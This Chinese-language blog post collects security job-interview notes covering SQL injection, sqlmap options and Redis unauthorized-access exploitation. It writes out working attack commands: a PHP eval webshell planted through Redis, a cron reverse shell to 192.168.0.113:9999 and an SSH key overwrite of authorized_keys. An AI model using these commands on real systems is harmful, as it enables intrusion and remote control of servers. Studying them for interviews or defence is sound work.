前言
因为这段时间面试了几次,也看了很多别人的面试总结,所以抽个时间总结一下自己面试的内容。
sql注入常见函数
#MySQL数据库版本
version()
#数据库安装路径
@@basedir
#数据库文件存放路径
@@datadir
#操作系统版本
@@version_compile_os
#拼接字符串,显示内容
函数concat()、concat_ws()、group_concat()
#截取字符串
substr()、substring()、mid()
sqlmap常见参数
-v 输出级别(0~6,默认1)
-u url 指定url
--data=DATA 该参数指定的数据会被作为POST数据提交
-r file.txt 常用于POST注入或表单提交时注入
--cookie 设置cookie
--threads 指定线程并发数
--level 检测级别(1~5,默认1)
--risk 风险等级(1~4,默认1)
--banner 列举数据库系统的信息等
--sql-query 执行任意的SQL语句
--sql-shell 使用交互式SQL语句执行环境
--flie-read 读取文件
--os-cmd 执行任意系统命令
--os-shell 使用交互式shell执行命令
sqlmapOSShell
原理
–os-shell的本质就是写入两个php文件,一个文件是上传页面可以让我们上传文件到网站路径下。
另一个文件是用于命令执行的页面,将执行后的结果输出到sqlmap中
使用
前提条件:
知道网站的物理路径
高权限数据库用户
secure_file_priv无限制
网站路径有写入权限
首先保存一份请求包文件,使用 python sqlmap.py -r xxx.txt -dbms=数据库类型 --os-shell
跑一下
然后根据实际情况选择搭建网站的语言以及网站物理地址即可
mysql写shell前置条件
①数据库的当前用户为ROOT或拥有FILE权限;
② 知道网站目录的绝对路径;
③ PHP的GPC参数为off状态;
④ MySQL中的secure_file_priv参数不能为NULL状态
Redis未授权
产生原因
redis.conf
配置文件中配置为任何机器都可以登录 redis
,而且未设置密码或者设置弱口令
利用方式
一般都使用kali的redis-cli工具
利用redis写入webshell
config set dir /var/www/html/(网站目录)
config set dbfilename shell.php
set xxx "<?php eval($_REQUEST[cmd]);?>"
# set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"
#\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行
save
任务计划反弹Shell
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.0.113/9999 0>&1\n"
config set dir 定时文件目录
config set dbfilename root
save
Ubuntu 不能用的原因是 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件的权限是600
ssh-keygen 公钥登录服务器
# 攻击方生成一对key
ssh-keygen -t rsa
# 将生成的公钥值写入目标服务器
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
# 连接目标
$ redis-cli -h 192.168.1.100 -p 6379 使用工具连接
192.168.1.100:6379> config set dir /root/.ssh/
192.168.1.100:6379> config get dir
192.168.1.100:6379> config set dbfilename "authorized_keys"
192.168.1.100:6379> save
# 通过ssh连接目标
ssh root@192.168.1.100 -i ~/.ssh/id_rsa
主从复制
主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。
通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
注意事项
在执行命令的时候要加上\n\n
,否则容易出现乱码
url后缀名.do.action是什么框架
一般是Struts2或者Spring框架。
在URL中添加不存在的路径,如果返回同样的页面,则大概率是Struts2框架,如果返回404或者是报错,则大概率是Spring框架。
sql盲注告警判断成功
正常有回显的注入看返回的状态码和数据内容就知道是否成功,但是盲注需要查看时间差
判断文件上传告警分析上传成功
首先看告警记录是否包含webshell流量特征、是否有“上传成功”或“success upload”等信息提示
然后查看服务器中是否存在上传的文件,是否是系统自动删除的
查看日志是否有脚本文件的访问记录
fastjson漏洞原理
shiro密钥会变的情况
后门分析流程
java、C++、python工具
鉴权漏洞接口
栈溢出、格式化字符串
网站访问重定向
DNS劫持了怎么办
防火墙和WAF
网络基础排障
无网排障
总结
一面问的时候大多会问技术细节,这时候照着面筋回答就好了。
二面三面问的是项目上的工作细节,不会详细问你一个点,而是问得很广泛,例如:渗透测试的流程、应急响应做过吗、java框架漏洞了解哪些、你以前的工作有什么成果。